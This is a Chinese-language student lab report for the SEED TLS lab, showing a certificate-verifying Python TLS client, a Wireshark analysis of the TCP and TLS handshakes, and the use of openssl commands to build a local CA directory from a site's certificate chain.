1 概述
实验任务:https://seedsecuritylabs.org/chinese/labs/Crypto/Crypto_TLS/
2 实验环境
创建实验目录:
[06/07/26]seed@VM:~$ mkdir Experiment05
[06/07/26]seed@VM:~$ cd Experiment05
[06/07/26]seed@VM:~/Experiment05$
解压镜像文件:
[06/07/26]seed@VM:~/Experiment05$ unzip Labsetup.zip
Archive: Labsetup.zip
creating: Labsetup/
inflating: Labsetup/docker-compose.yml
creating: Labsetup/volumes/
inflating: Labsetup/volumes/handshake.py
creating: Labsetup/volumes/server-certs/
inflating: Labsetup/volumes/server-certs/README.md
inflating: Labsetup/volumes/README.txt
inflating: Labsetup/volumes/server.py
creating: Labsetup/volumes/client-certs/
inflating: Labsetup/volumes/client-certs/README.md
[06/07/26]seed@VM:~/Experiment05$
启动容器:
[06/07/26]seed@VM:~/.../Labsetup$ docker-compose up -d
WARNING: Found orphan containers (www-10.9.0.80) for this project. If you removed or renamed this service in your compose file, you can run this command with the --remove-orphans flag to clean it up.
Pulling Client (handsonsecurity/seed-ubuntu:medium)...
medium: Pulling from handsonsecurity/seed-ubuntu
da7391352a9b: Already exists
14428a6d4bcd: Already exists
2c2d948710f2: Already exists
b096ee103c1c: Pull complete
81cdb6f1530c: Pull complete
fda0ad4af09f: Pull complete
cd710012fb7a: Pull complete
Digest: sha256:50d093e11031e7331e339c709887f56fc6859964e1c4fd1165a3587863dba114
Status: Downloaded newer image for handsonsecurity/seed-ubuntu:medium
Creating server-10.9.0.43 ... done
Creating client-10.9.0.5 ... done
Creating mitm-proxy-10.9.0.143 ... done
[06/07/26]seed@VM:~/.../Labsetup$
3 任务 1: TLS 客户端
构建一个简单的TLS客户端程序。
3.1 任务 1.a: TLS 握手
编写一个 Python 脚本,启动了一个与 TLS 服务器之间的 TLS 握手(服务器名称需要指定为第一个命令行参数)。
[06/07/26]seed@VM:~/Experiment05$ vim handshake.py
#!/usr/bin/env python3
import socket
import ssl
import sys
import pprint
hostname = sys.argv[1]
port = 443
cadir = '/etc/ssl/certs'
# 创建 TLS 客户端上下文
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
# 加载系统可信 CA 证书
context.load_verify_locations(capath=cadir)
# 要求验证服务器证书,并检查证书域名
context.verify_mode = ssl.CERT_REQUIRED
context.check_hostname = True
print("目标服务器:", hostname)
print("目标端口:", port)
print("CA 证书目录:", cadir)
# 创建 TCP socket,并连接服务器
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("\n正在建立 TCP 连接...")
sock.connect((hostname, port))
input("TCP 连接已建立,按回车开始 TLS 握手...")
# 将 TCP socket 包装成 TLS socket,但暂不自动握手
ssock = context.wrap_socket(
sock,
server_hostname=hostname,
do_handshake_on_connect=False
)
# 开始 TLS 握手
print("\n正在进行 TLS 握手...")
ssock.do_handshake()
print("TLS 握手完成。")
# 输出 TLS 版本
print("\n使用的 TLS 协议版本:")
print(ssock.version())
# 输出加密套件
print("\n客户端和服务器使用的加密套件:")
cipher = ssock.cipher()
print(cipher)
print("\n加密套件说明:")
print("加密套件名称:", cipher[0])
print("协议版本:", cipher[1])
print("密钥长度:", cipher[2], "bit")
# 输出服务器证书
print("\n服务器证书信息:")
cert = ssock.getpeercert()
pprint.pprint(cert)
input("\nTLS 握手已完成,按回车关闭连接...")
# 关闭连接
ssock.shutdown(socket.SHUT_RDWR)
ssock.close()
print("连接已关闭。")
添加权限并允许,建立与 www.vaultattic.cn 的连接:
[06/07/26]seed@VM:~/Experiment05$ chmod a+x ./handshake.py
[06/07/26]seed@VM:~/Experiment05$ ./handshake.py www.vaultattic.cn
目标服务器: www.vaultattic.cn
目标端口: 443
CA 证书目录: /etc/ssl/certs
正在建立 TCP 连接...
TCP 连接已建立,按回车开始 TLS 握手...
正在进行 TLS 握手...
TLS 握手完成。
使用的 TLS 协议版本:
TLSv1.3
客户端和服务器使用的加密套件:
('TLS_AES_256_GCM_SHA384', 'TLSv1.3', 256)
加密套件说明:
加密套件名称: TLS_AES_256_GCM_SHA384
协议版本: TLSv1.3
密钥长度: 256 bit
服务器证书信息:
{'caIssuers': ('http://e7.i.lencr.org/',),
'crlDistributionPoints': ('http://e7.c.lencr.org/87.crl',),
'issuer': ((('countryName', 'US'),),
(('organizationName', "Let's Encrypt"),),
(('commonName', 'E7'),)),
'notAfter': 'Jul 9 06:40:29 2026 GMT',
'notBefore': 'Apr 10 06:40:30 2026 GMT',
'serialNumber': '05F2553F1F78392F5F51E048D92C24AA7FD6',
'subject': ((('commonName', '*.vaultattic.cn'),),),
'subjectAltName': (('DNS', '*.vaultattic.cn'),),
'version': 3}
TLS 握手已完成,按回车关闭连接...
任务:
-
客户端和服务器之间使用的加密算法是什么?
客户端和服务器使用的加密套件: ('TLS_AES_256_GCM_SHA384', 'TLSv1.3', 256)- TLS:表示这是 TLS 协议使用的加密套件。
- AES_256:表示使用 AES 对称加密算法,
256表示密钥长度为 256 bit,主要用于对后续传输的 HTTPS 数据进行加密,防止通信内容被窃听。 - GCM:表示使用 GCM 工作模式,GCM 是一种认证加密模式,不仅可以加密数据,还可以验证数据完整性,它可以防止数据在传输过程中被篡改。
- SHA384:表示使用 SHA384 哈希算法,主要用于握手过程中的密钥派生和校验,帮助客户端和服务器生成后续通信使用的会话密钥。
- 256:表示该连接使用的对称加密密钥长度为 256 bit。
-
请在程序中输出服务器证书。
服务器证书信息: {'caIssuers': ('http://e7.i.lencr.org/',), 'crlDistributionPoints': ('http://e7.c.lencr.org/87.crl',), 'issuer': ((('countryName', 'US'),), (('organizationName', "Let's Encrypt"),), (('commonName', 'E7'),)), 'notAfter': 'Jul 9 06:40:29 2026 GMT', 'notBefore': 'Apr 10 06:40:30 2026 GMT', 'serialNumber': '05F2553F1F78392F5F51E048D92C24AA7FD6', 'subject': ((('commonName', '*.vaultattic.cn'),),), 'subjectAltName': (('DNS', '*.vaultattic.cn'),), 'version': 3}- 证书主体 subject:
*.vaultattic.cn - 证书通用名 commonName:
*.vaultattic.cn - 证书签发机构 issuer:
Let's Encrypt E7 - 证书有效期:
notBefore: Apr 10 06:40:30 2026 GMT和notAfter : Jul 9 06:40:29 2026 GMT - 证书序列号:
05F2553F1F78392F5F51E048D92C24AA7FD6 - 证书版本:
3
- 证书主体 subject:
-
/etc/ssl/certs的作用CA 证书目录: /etc/ssl/certs/etc/ssl/certs是 Linux 系统中保存可信 CA 根证书和中间证书的目录。它的主要作用是:
- 验证服务器证书是否由可信 CA 签发
- 检查服务器证书链是否可信
- 配合
check_hostname验证证书域名是否匹配 - 防止客户端连接到伪造的 HTTPS 服务器
-
使用 Wireshark 在程序执行期间捕获网络流量,并解释你的观察结果。请说明哪个步骤触发 TCP 握手,以及哪个步骤触发 TLS 握手。解释 TLS 握手和 TCP 握手之间的关系。
新建终端,运行 Wireshark:
[06/07/26]seed@VM:~/Experiment05$ wireshark选择名为
ens33的网络接口,搜索栏设置过滤器tcp.port == 443,再次运行程序观察结果。

TCP 与 TLS 1.3 握手流程图如下:

TCP 部分主要报文如下:
192.168.144.145 -> 124.221.143.80 TCP 47418 -> 443 [SYN]:对应理论图中的SYN,表示客户端向服务器发起 TCP 连接请求。124.221.143.80 -> 192.168.144.145 TCP 443 -> 47418 [SYN, ACK]:对应理论图中的SYN, ACK,表示服务器同意建立连接,并确认收到了客户端的请求。192.168.144.145 -> 124.221.143.80 TCP 47418 -> 443 [ACK]:对应理论图中的ACK,表示客户端确认收到服务器响应,TCP 三次握手完成。
TLS 部分主要报文如下:
192.168.144.145 -> 124.221.143.80 TLSv1.3 Client Hello:对应图中的Client Hello,表示客户端开始 TLS 1.3 握手,发送支持的 TLS 版本、加密套件和扩展信息。124.221.143.80 -> 192.168.144.145 TLSv1.3 Server Hello, Change Cipher Spec, Application Data, Application Data:其中Server Hello对应图中的Server Hello;后面的Application Data对应图中的Encrypted Extensions、Certificate、Certificate Verify和服务器端Finished。由于 TLS 1.3 中这些内容已加密,因此 Wireshark 统一显示为Application Data。192.168.144.145 -> 124.221.143.80 TLSv1.3 Change Cipher Spec, Application Data:其中Application Data对应理论图中的客户端Finished,表示客户端已经验证服务器信息并完成自己的握手部分。
TCP 握手和 TLS 握手是两个不同层次的过程,它们的作用不同,但前后有依赖关系。
- TCP 握手 的作用是先建立客户端和服务器之间的可靠连接。也就是说,TCP 只负责把通信通道建立起来,保证双方后续可以可靠地发送和接收数据,但它本身不提供加密,也不验证服务器身份。
- TLS 握手 的作用是在已经建立好的 TCP 连接之上协商安全参数。例如协商使用的 TLS 版本、加密套件、验证服务器证书,以及生成后续通信使用的会话密钥。
可以理解为:
- TCP 握手负责建立连接
- TLS 握手负责让连接变安全
对于 HTTPS 通信来说,整体顺序就是:
TCP 握手 -> TLS 握手 -> 加密的 HTTP 数据传输
也就是:
HTTPS = HTTP over TLS over TCP
3.2 任务 1.b: CA 的证书
修改 handshake.py 文件,将 cadir = '/etc/ssl/certs' 改为 cadir = './certs'。
[06/13/26]seed@VM:~/Experiment05$ vim handshake.py
#!/usr/bin/env python3
import socket
import ssl
import sys
import pprint
hostname = sys.argv[1]
port = 443
cadir = './certs'
# 创建 TLS 客户端上下文
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
# 加载系统可信 CA 证书
context.load_verify_locations(capath=cadir)
# 要求验证服务器证书,并检查证书域名
context.verify_mode = ssl.CERT_REQUIRED
context.check_hostname = True
print("目标服务器:", hostname)
print("目标端口:", port)
print("CA 证书目录:", cadir)
# 创建 TCP socket,并连接服务器
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("\n正在建立 TCP 连接...")
sock.connect((hostname, port))
input("TCP 连接已建立,按回车开始 TLS 握手...")
# 将 TCP socket 包装成 TLS socket,但暂不自动握手
ssock = context.wrap_socket(
sock,
server_hostname=hostname,
do_handshake_on_connect=False
)
# 开始 TLS 握手
print("\n正在进行 TLS 握手...")
ssock.do_handshake()
print("TLS 握手完成。")
# 输出 TLS 版本
print("\n使用的 TLS 协议版本:")
print(ssock.version())
# 输出加密套件
print("\n客户端和服务器使用的加密套件:")
cipher = ssock.cipher()
print(cipher)
print("\n加密套件说明:")
print("加密套件名称:", cipher[0])
print("协议版本:", cipher[1])
print("密钥长度:", cipher[2], "bit")
# 输出服务器证书
print("\n服务器证书信息:")
cert = ssock.getpeercert()
pprint.pprint(cert)
input("\nTLS 握手已完成,按回车关闭连接...")
# 关闭连接
ssock.shutdown(socket.SHUT_RDWR)
ssock.close()
print("连接已关闭。")
创建自己的证书目录:
[06/13/26]seed@VM:~/Experiment05$ mkdir certs
[06/13/26]seed@VM:~/Experiment05$
由之前的 ./handshake.py 执行结果中的:
'issuer': ((('countryName', 'US'),),
(('organizationName', "Let's Encrypt"),),
(('commonName', 'E7'),)),
得知该证书是由 Let's Encrypt 这个机构签发的,去他们的官网搜索他们的证书信任链:证书信任链 - Let's Encrypt 。

得到了 CA 根证书为 ISRG Root X1 或 ISRG Root X1。
在 /etc/ssl/certs 中查找这根 CA 证书:
[06/13/26]seed@VM:~/Experiment05$ ls /etc/ssl/certs | grep -i "isrg"
ISRG_Root_X1.pem
[06/13/26]seed@VM:~/Experiment05$
将 ISRG_Root_X1.pem 证书文件复制到自己的 certs 目录中:
cp /etc/ssl/certs/ISRG_Root_X1.pem ~/Experiment05/certs/
[06/13/26]seed@VM:~/Experiment05$ cp /etc/ssl/certs/ISRG_Root_X1.pem ~/Experiment05/certs/
[06/13/26]seed@VM:~/Experiment05$ ls certs/
ISRG_Root_X1.pem
[06/13/26]seed@VM:~/Experiment05$
在 TLS 中,服务器发送给客户端的不只是自己的服务器证书,还通常会附带若干上级 CA 证书,形成一条证书链。
客户端验证服务器证书时,并不是只检查服务器证书本身,而是会沿着这条证书链逐级向上验证,直到找到一个本地信任的根 CA 证书为止(也就是这里的 ISRG Root X1)。只有整条链都能够正确连接,并且最终能够追溯到受信任的根证书,服务器证书验证才会成功。
所以接下来还要保存整个证书链路。
使用 openssl s_client -connect www.vaultattic.cn:443 -servername www.vaultattic.cn -showcerts 查看所有证书:
[06/13/26]seed@VM:~/Experiment05$ openssl s_client -connect www.vaultattic.cn:443 -servername www.vaultattic.cn -showcerts
CONNECTED(00000003)
depth=3 C = US, O = Internet Security Research Group, CN = ISRG Root X2
verify error:num=20:unable to get local issuer certificate
verify return:1
depth=2 C = US, O = ISRG, CN = Root YE
verify return:1
depth=1 C = US, O = Let's Encrypt, CN = YE1
verify return:1
depth=0 CN = *.vaultattic.cn
verify return:1
---
Certificate chain
0 s:CN = *.vaultattic.cn
i:C = US, O = Let's Encrypt, CN = YE1
-----BEGIN CERTIFICATE-----
MIIDjDCCAxGgAwIBAgISBjebM5QYVoFsyKhf6aKnHVcrMAoGCCqGSM49BAMDMDMx
CzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZ
RTEwHhcNMjYwNjA5MTUwMjA2WhcNMjYwOTA3MTUwMjA1WjAaMRgwFgYDVQQDDA8q
LnZhdWx0YXR0aWMuY24wWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAASibGaEpWix
5y4PfsZJSoDwzL0XTHtUSIWk4D/Ukq6FQLLdbEOahtTApxgJLPOEQCDW7mpMeMDB
xygVJ5Sxb1QDo4ICHDCCAhgwDgYDVR0PAQH/BAQDAgeAMBMGA1UdJQQMMAoGCCsG
AQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFLhN9sMvjxKOoVjrZXs6oF/K
9k/IMB8GA1UdIwQYMBaAFLsgykcL/tflnPmPCSqjjDdFsbzYMDMGCCsGAQUFBwEB
BCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3llMS5pLmxlbmNyLm9yZy8wGgYDVR0R
BBMwEYIPKi52YXVsdGF0dGljLmNuMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1Ud
HwQnMCUwI6AhoB+GHWh0dHA6Ly95ZTEuYy5sZW5jci5vcmcvNDQuY3JsMIIBCwYK
KwYBBAHWeQIEAgSB/ASB+QD3AHYAr2eIO1ewTt2Pptl+9i6o64EKx3Fg8CReVdYM
L+eFhzoAAAGerR1C4wAABAMARzBFAiEAkTasW5MgyDMiMh3o1nsycbBC2+qEdOMS
AVMXjUtpZqACIFCyS4EBOR2pOHGqt1Ph1uXzoFQ+lCAhhZYN1tpgUzfgAH0AGoud
aw/+v4G0eTnG0jEKhtbRAtTwRuIYLJ3jX14mJe8AAAGerR1DXQAIAAAFAByXUZcE
AwBGMEQCIAsr+kdyLdFrrJSa0Tu1ALt61xyzN3DI0aJ+0InGkrxyAiBp7szv1SMC
dRic+SmBh2JPMfRy44HH4Wbkf51rV9enSjAKBggqhkjOPQQDAwNpADBmAjEAsKKe
aFVZgLaqyyXIAMX3gEMfwo2gsCwdutODlgxS961kmjqdU6j3nPD2oXQHdDcdAjEA
9sxvEARXVzT8MH9kxrMpr5SFsxq7MmqafQUDMNJiLZuupVMw/gaN3r7KthkdfiNf
-----END CERTIFICATE-----
1 s:C = US, O = Let's Encrypt, CN = YE1
i:C = US, O = ISRG, CN = Root YE
-----BEGIN CERTIFICATE-----
MIICizCCAhGgAwIBAgIQXd1w3TH4AchcGGp6BLgK/jAKBggqhkjOPQQDAzAuMQsw
CQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZRTAeFw0y
NTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYD
VQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZRTEwdjAQBgcqhkjOPQIBBgUr
gQQAIgNiAAQHZVB1/mimla2hfSurylScjPMZaOJXLz/NnAc2sylm8WDyhU9Ccp+z
ASQi5vSwGGJjSGklkD9fdPR8GpyDIOIjCEfrnbt/v+ZSEPLLEGbaM6EccDbN7p9x
teIm2Avf+ryjge4wgeswDgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUF
BwMBMBIGA1UdEwEB/wQIMAYBAf8CAQAwHQYDVR0OBBYEFLsgykcL/tflnPmPCSqj
jDdFsbzYMB8GA1UdIwQYMBaAFKPIJlqOoUzQNWP8myPIOq5W809WMDIGCCsGAQUF
BwEBBCYwJDAiBggrBgEFBQcwAoYWaHR0cDovL3llLmkubGVuY3Iub3JnLzATBgNV
HSAEDDAKMAgGBmeBDAECATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veWUuYy5s
ZW5jci5vcmcvMAoGCCqGSM49BAMDA2gAMGUCMQDgjUEahFT/h3DRakqiPZpLvPgf
Zwkt6K2EOMmh1nvEzl83eMLYcod4GCl3b0J1Nn0CMBNYmEQJb4CEG5WoOe7aRn/L
VKu6saHmHEynI7ysIPd8zQsK1HdmhlHKlw9Z5GpGvA==
-----END CERTIFICATE-----
2 s:C = US, O = ISRG, CN = Root YE
i:C = US, O = Internet Security Research Group, CN = ISRG Root X2
-----BEGIN CERTIFICATE-----
MIICpjCCAiugAwIBAgIRAIchZfw0tuX7qK3Vs3BftTowCgYIKoZIzj0EAwMwTzEL
MAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2VhcmNo
IEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDIwHhcNMjYwNTEzMDAwMDAwWhcN
MzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4G
A1UEAxMHUm9vdCBZRTB2MBAGByqGSM49AgEGBSuBBAAiA2IABDwS/6vhrcVqcbBo
+wgdI3fwn9x7DNJJOY/lTOti0vkwuRN87RhEhTH17E7XyFjWsPYhIPt/wzOqxTd2
b+4ZJNy9ID04YywF9U5zasDVyGSNErVNtz8uSGh5izW87j77GaOB6zCB6DAOBgNV
HQ8BAf8EBAMCAQYwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDwYDVR0TAQH/BAUwAwEB
/zAdBgNVHQ4EFgQUo8gmWo6hTNA1Y/ybI8g6rlbzT1YwHwYDVR0jBBgwFoAUfEKW
rt5LSDv6kviejM9ti6lyN5UwMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAChhZo
dHRwOi8veDIuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcGA1Ud
HwQgMB4wHKAaoBiGFmh0dHA6Ly94Mi5jLmxlbmNyLm9yZy8wCgYIKoZIzj0EAwMD
aQAwZgIxAMU19WCtmxVND8UHBZRoma49Z7jPs64Dma0eTu1OChVbB/2J7GV3nvYK
Ax54uk1G9QIxAO0miLVJu8PLNiXXXkiE/gsK3CTRTF/aeo4bMX42Zw40csRU6AC2
6hSW1/IWaas6dg==
-----END CERTIFICATE-----
3 s:C = US, O = Internet Security Research Group, CN = ISRG Root X2
i:C = US, O = Internet Security Research Group, CN = ISRG Root X1
-----BEGIN CERTIFICATE-----
MIIEcDCCAligAwIBAgIQbI8dxyfHEX97r4U6yYD5zTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNjA1MTMwMDAwMDBa
Fw0zMjA5MDIyMzU5NTlaME8xCzAJBgNVBAYTAlVTMSkwJwYDVQQKEyBJbnRlcm5l
dCBTZWN1cml0eSBSZXNlYXJjaCBHcm91cDEVMBMGA1UEAxMMSVNSRyBSb290IFgy
MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEzZvVn4CDCuwJSvMWSj5cz3es3mcFDR0H
ttwW+1qLFNvicWDEukWVEYmO6gbf9yoWHKS5xcUy4APgHoIYOIvXRdgKam7mAHf7
AlF9ItgKbppbd9/w+kHsOdx1ymgHDB/qo4H1MIHyMA4GA1UdDwEB/wQEAwIBBjAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDwYDVR0TAQH/BAUwAwEB/zAd
BgNVHQ4EFgQUfEKWrt5LSDv6kviejM9ti6lyN5UwHwYDVR0jBBgwFoAUebRZ5nu2
5eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAChhZodHRw
Oi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcGA1UdHwQg
MB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcNAQELBQAD
ggIBAD2/e9frmMxNpCV03qUHegg+MV2wz9644YoXdqtH8RyWYcBO7xfjjGEXdU1e
/o0OkEFiynUCOSIk/vLLo7ttz6CPAeNlWfC0XNkoGeWgK6jjXvozBaGuGH5n0Ufo
shMeWTuURqNN5G00sSXDTBrpp2+mgvdZQjb8K11TYMA25QA+YHNfbIEL0BniAhKS
2gsnJjSzrdZLI+EZ7SEyqdR2rkjd1KutLDU+n3TFyxjniZVGur4YlhMP3mY/dV95
IruAkkjOZier6hGBdEgZXXvaCz9u9iVEadsIE75pAGL8oHV5vxdARDiotRpul1IN
/UZwzAbrfUFcw1HkAcYD/mlZfnQ2ieCF2MS7j3Vhv7JPDKp45fmykmzYNSrumRW0
upFFKDBOoF7hsOb7oLyHS+Uft6jOUfOrogj8YUx38hKb2K20r42OgsSdDdxdeYWc
MS3Sb6mwJeSZEYxJ2gaXnDSPaKhhrNkYwljyVQyr4Nq+MEJytXNTnHqaAcrNwZlV
pcJL1KBnMrMjP7eanvUwL3FYj3cF17jtboLt7gLoi4+2rWZFvn+w54jmd/FIuhhZ
cEaU/wvU6BUNMtcVquVGHp7itQeDth5j+XL3j4WJ2SABwzUl6OeYdgpIt/ITZa+p
TT0mQ/r5XyA4MEAiabn7XJjvCERlF2dcn2wqJw+CreTkkQ2R
-----END CERTIFICATE-----
---
Server certificate
subject=CN = *.vaultattic.cn
issuer=C = US, O = Let's Encrypt, CN = YE1
---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: ECDSA
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 3779 bytes and written 399 bytes
Verification error: unable to get local issuer certificate
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 256 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 20 (unable to get local issuer certificate)
---
---
Post-Handshake New Session Ticket arrived:
SSL-Session:
Protocol : TLSv1.3
Cipher : TLS_AES_256_GCM_SHA384
Session-ID: CFFAD92C344FD87F4681D1E9B391B61EC733696FE3DA1734F80FDA46E123A8EC
Session-ID-ctx:
Resumption PSK: B46EE132D07EBDC85034F97BCD5F8BEE54DAD1A8FB35609A50708CB748F386C5ED98C879D7C98008F37147C329AD7901
PSK identity: None
PSK identity hint: None
SRP username: None
TLS session ticket lifetime hint: 300 (seconds)
TLS session ticket:
0000 - d8 a1 18 b0 fa 5d 27 39-31 f7 a8 13 0b 03 29 fc .....]'91.....).
0010 - 9d c1 d8 87 d3 cc 84 a3-05 82 9f d4 e6 60 92 28 .............`.(
0020 - 85 4e 42 94 2f 10 c8 17-cf f4 94 75 67 f9 a9 7c .NB./......ug..|
0030 - 5f 3f d2 25 f6 af 50 cc-fa fa 97 2d 21 af ac 23 _?.%..P....-!..#
0040 - 2e 0d 96 da a4 29 71 4a-c6 28 f7 66 8d 34 3e 88 .....)qJ.(.f.4>.
0050 - 9b 7c 23 0c 59 8d 58 a5-d2 90 e5 f6 29 98 ff 18 .|#.Y.X.....)...
0060 - 64 74 38 29 1b 28 a2 8d-a9 3f 3d 76 8f c0 c4 4c dt8).(...?=v...L
0070 - bb d4 ef a9 dc e6 02 74-8d f8 af 68 12 ea 32 0b .......t...h..2.
0080 - 91 2a 45 9a ce 18 4a ee-69 3c 3d a1 9f bc 55 45 .*E...J.i<=...UE
0090 - 6f a4 b4 5c fe b3 05 ba-c1 87 74 78 f8 92 57 6c o..\......tx..Wl
00a0 - fc dd a3 1a cf 0c 33 82-e0 11 8d 77 e4 d4 89 1f ......3....w....
00b0 - c9 4a 80 d5 db a9 c5 28-66 e0 1e 13 d5 40 d2 9d .J.....(f....@..
00c0 - d0 52 fb 2b 40 0e e5 0c-46 df 1e 69 59 5d 87 73 .R.+@...F..iY].s
00d0 - dc 85 7c 0f 11 4f 5e 0d-cf 7c 5d da 55 ae 4c 11 ..|..O^..|].U.L.
00e0 - b4 68 08 4f 3b 4a 01 3b-0d 99 db ac b7 b4 3f e6 .h.O;J.;......?.
Start Time: 1781356981
Timeout : 7200 (sec)
Verify return code: 20 (unable to get local issuer certificate)
Extended master secret: no
Max Early Data: 0
---
read R BLOCK
---
Post-Handshake New Session Ticket arrived:
SSL-Session:
Protocol : TLSv1.3
Cipher : TLS_AES_256_GCM_SHA384
Session-ID: 2AA8F2F520A5345FCDE3E46216D73E5EB95837C479FB6FF0CE7E8D20FE9AFAE2
Session-ID-ctx:
Resumption PSK: A07105FA98B103473A614026BB22072CC6739C700A4B5AFDC67E4A4B0DD41177CEA84EECC4A014CD3EFDCFA8226CF55C
PSK identity: None
PSK identity hint: None
SRP username: None
TLS session ticket lifetime hint: 300 (seconds)
TLS session ticket:
0000 - d8 a1 18 b0 fa 5d 27 39-31 f7 a8 13 0b 03 29 fc .....]'91.....).
0010 - 3c 61 64 e8 ba 6f 04 a5-ba e1 e5 e7 e1 f7 1c 44 <ad..o.........D
0020 - ef b2 4a 1e b3 db 7b 08-e5 9b a7 aa 58 4e 4e e4 ..J...{.....XNN.
0030 - 8d 6e d6 19 d6 ca 4e 85-04 75 a4 0e e6 78 0a ba .n....N..u...x..
0040 - 96 80 d8 fc 45 9f 7d 8a-24 30 9d 58 c8 31 9c e0 ....E.}.$0.X.1..
0050 - e5 e2 e2 69 4a b5 b4 c4-34 7f 95 45 f0 2d e0 c4 ...iJ...4..E.-..
0060 - 6f 96 fb d1 ff 64 f0 35-5d 05 43 b1 b2 66 fe 5f o....d.5].C..f._
0070 - e8 5d ee d1 05 bf 91 c9-e9 60 df 64 b8 69 25 30 .].......`.d.i%0
0080 - ec 6a 20 58 03 9c 26 05-38 ea 75 8e 9e 4d 25 47 .j X..&.8.u..M%G
0090 - 11 0a f2 9a 59 2e 33 f4-2b 2a 24 b5 b7 b5 5e 47 ....Y.3.+*$...^G
00a0 - e3 55 02 74 2b 88 96 65-99 46 41 92 a8 5a 68 6c .U.t+..e.FA..Zhl
00b0 - 92 98 18 dd ed c1 bc 0b-32 8a db 5a 1f a8 50 37 ........2..Z..P7
00c0 - b8 78 c0 be c9 3c 1b 1c-a5 5d 3d ce dd a2 e4 81 .x...<...]=.....
00d0 - f5 76 64 87 8f 58 92 24-c7 48 d4 64 16 25 a1 19 .vd..X.$.H.d.%..
00e0 - 31 68 8c c3 57 b0 d4 3a-3c 74 ed 8a 1f 41 70 ff 1h..W..:<t...Ap.
Start Time: 1781356981
Timeout : 7200 (sec)
Verify return code: 20 (unable to get local issuer certificate)
Extended master secret: no
Max Early Data: 0
---
read R BLOCK
可以看到实际使用的证书链为:
*.vaultattic.cn
-> YE1
-> Root YE
-> ISRG Root X2
-> ISRG Root X1
这说明仅放置根证书 ISRG Root X1 还不足以完成验证,因为客户端还需要中间 CA 证书 YE1、Root YE 和 ISRG Root X2,才能将服务器证书逐级验证到受信任的根证书。
把服务器发来的证书链保存到文件 vault_chain.txt:
openssl s_client -connect www.vaultattic.cn:443 -servername www.vaultattic.cn -showcerts </dev/null> vault_chain.txt
使用下面命令拆出证书:
awk '
/-----BEGIN CERTIFICATE-----/ {n++; out=sprintf("cert_%d.pem", n)}
out != "" {print > out}
/-----END CERTIFICATE-----/ {out=""}
' vault_chain.txt
查看每张证书是谁:
for f in cert_*.pem; do
echo "==== $f ===="
openssl x509 -in "$f" -noout -subject -issuer
echo
done
[06/13/26]seed@VM:~/Experiment05$ for f in cert_*.pem; do
> echo "==== $f ===="
> openssl x509 -in "$f" -noout -subject -issuer
> echo
> done
==== cert_1.pem ====
subject=CN = *.vaultattic.cn
issuer=C = US, O = Let's Encrypt, CN = YE1
==== cert_2.pem ====
subject=C = US, O = Let's Encrypt, CN = YE1
issuer=C = US, O = ISRG, CN = Root YE
==== cert_3.pem ====
subject=C = US, O = ISRG, CN = Root YE
issuer=C = US, O = Internet Security Research Group, CN = ISRG Root X2
==== cert_4.pem ====
subject=C = US, O = Internet Security Research Group, CN = ISRG Root X2
issuer=C = US, O = Internet Security Research Group, CN = ISRG Root X1
[06/13/26]seed@VM:~/Experiment05$
现在是:
cert_1.pem:服务器证书cert_2.pem:签发cert_1cert_3.pem:签发cert_2cert_4.pem:签发cert_3/etc/ssl/certs/ISRG_Root_X1.pem:签发cert_4,而且它是本地信任的根
所以现在要 2、3、4 号证书移进 certs:
mv cert_2.pem ./certs/YE1.pem
mv cert_3.pem ./certs/Root_YE.pem
mv cert_4.pem ./certs/ISRG_Root_X2.pem
仅复制 CA 证书到 ./certs 中还不够。由于 ./handshake.py 使用了:
context.load_verify_locations(capath='./certs')
在这种 capath 模式下,OpenSSL 会根据证书 subject 的哈希值来查找 CA 证书,因此必须为证书创建以哈希值命名的符号链接。
给所有全部建 hash 链接:
for f in ./certs/YE1.pem ./certs/Root_YE.pem ./certs/ISRG_Root_X2.pem ./certs/ISRG_Root_X1.pem; do
h=$(openssl x509 -in "$f" -noout -subject_hash)
base=$(basename "$f")
ln -sf "$base" "./certs/${h}.0"
done
[06/13/26]seed@VM:~/Experiment05$ for f in ./certs/YE1.pem ./certs/Root_YE.pem ./certs/ISRG_Root_X2.pem ./certs/ISRG_Root_X1.pem; do
